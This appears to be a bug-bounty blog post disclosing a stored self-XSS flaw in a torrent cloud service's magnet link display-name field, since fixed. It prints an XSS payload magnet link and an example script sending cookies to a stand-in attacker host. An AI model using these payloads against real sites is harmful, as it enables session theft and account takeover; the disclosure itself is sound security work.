Discovering a Stored XSS Vulnerability in Seedr.cc

What is XSS?

Cross-Site Scripting (XSS) is a type of vulnerability found in web applications where an attacker can inject malicious scripts into content that is then delivered to users. These scripts can execute in the victim’s browser, leading to various malicious activities such as stealing cookies, session hijacking, or defacing websites.

Types of XSS Vulnerabilities

• Reflected XSS: Occurs when user-supplied data is immediately reflected back in the web application’s response, such as in error messages or search results, without being properly sanitized. The malicious script is executed when the crafted URL is clicked and processed, but the data is not stored on the server.

• Stored XSS: Happens when user input is stored on the server (e.g., in a database, comment field) and later displayed to users without proper sanitization. The malicious script is executed when the stored data is retrieved and rendered.

• DOM-Based XSS: Involves the execution of a malicious script due to changes made to the client-side DOM environment. Unlike other types, the payload never reaches the server. It is similar to reflected XSS because no information is stored during the attack; both rely on tricking a victim into interacting with a malicious URL.

In this post, we’ll focus on my discovery of a stored Self-XSS vulnerability in Seedr.cc, one of the most popular services that allow users to download torrents directly to the cloud.

Discovering XSS in Seedr

December 1, 2020 I was exploring the site. Out of curiosity, I attempted to rename one of my files using characters such as <, >, %, &, and ^, which are typically not allowed in filenames on most sites. The site threw an “Illegal characters used in filename” error.

This got me thinking: what if the torrent file itself has these forbidden characters? So, I decided to test this out by creating a magnet link with such characters.

The basic structure of a torrent magnet URI is as follows:

magnet:?xt=urn:btih:<info_hash>&dn=<name>&tr=<tracker_url>

In this URL schema, dn stands for display name. First, I experimented with how their system handled illegal characters passed through the magnet link. Surprisingly, they were not filtered or encoded. With this discovery, I decided to take it a step further and craft an XSS vector within the magnet link by modifying the dn parameter while keeping the hash of a random torrent.

magnet:?xt=urn:btih:44E6FC672F9476589951726B4693F6CEB2B4759D&dn=<svg onload=alert(1)>

You can find an excellent XSS cheat sheet here: OWASP XSS Filter Evasion Cheat Sheet

After adding this magnet link on my Seedr account, my XSS vector was permanently stored. Every time I refresh my home page, an alert box displaying “1” would pop up.

Impact

This vulnerability could have severe implications, including account takeovers via malicious JavaScript injections. While the XSS vulnerability I discovered is a type of Self-XSS, meaning it executes only in the context of the user who submits the payload, it can still be exploited to target other users.

Imagine someone injecting the similar script into a magnet link and sharing it with unsuspecting victims:

<script>
  var userCookie = document.cookie;
  var img = new Image();
  img.src = 'https://hackersite.com/store?cookie=' + encodeURIComponent(userCookie);
</script>

You can find an excellent XSS prevention cheat sheet here: OWASP XSS Prevention Cheat Sheet

Reporting the Vulnerability

December 2 I reported this issue to the Seedr team, and they swiftly implemented a fix.

Shortly afterward, I found another vulnerability on the same platform, which allowed me to add unlimited torrents beyond my storage limit. This next discovery earned me my first bug bounty reward, which I will discuss in my next blog. Stay tuned! 🚀